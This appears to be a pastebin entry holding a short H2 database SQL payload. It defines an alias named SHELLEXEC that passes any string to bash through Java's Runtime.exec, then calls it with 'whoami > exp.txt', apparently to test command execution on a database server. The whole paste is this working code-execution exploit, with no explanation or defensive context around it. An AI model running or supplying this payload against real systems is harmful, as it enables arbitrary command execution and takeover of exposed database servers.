Paste: 1134232

Author: 12432432432
Mode: text
Date: Wed, 24 Jun 2020 10:46:30
Plain Text |
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('whoami > exp.txt')

New Annotation

Summary:
Author:
Mode:
Body: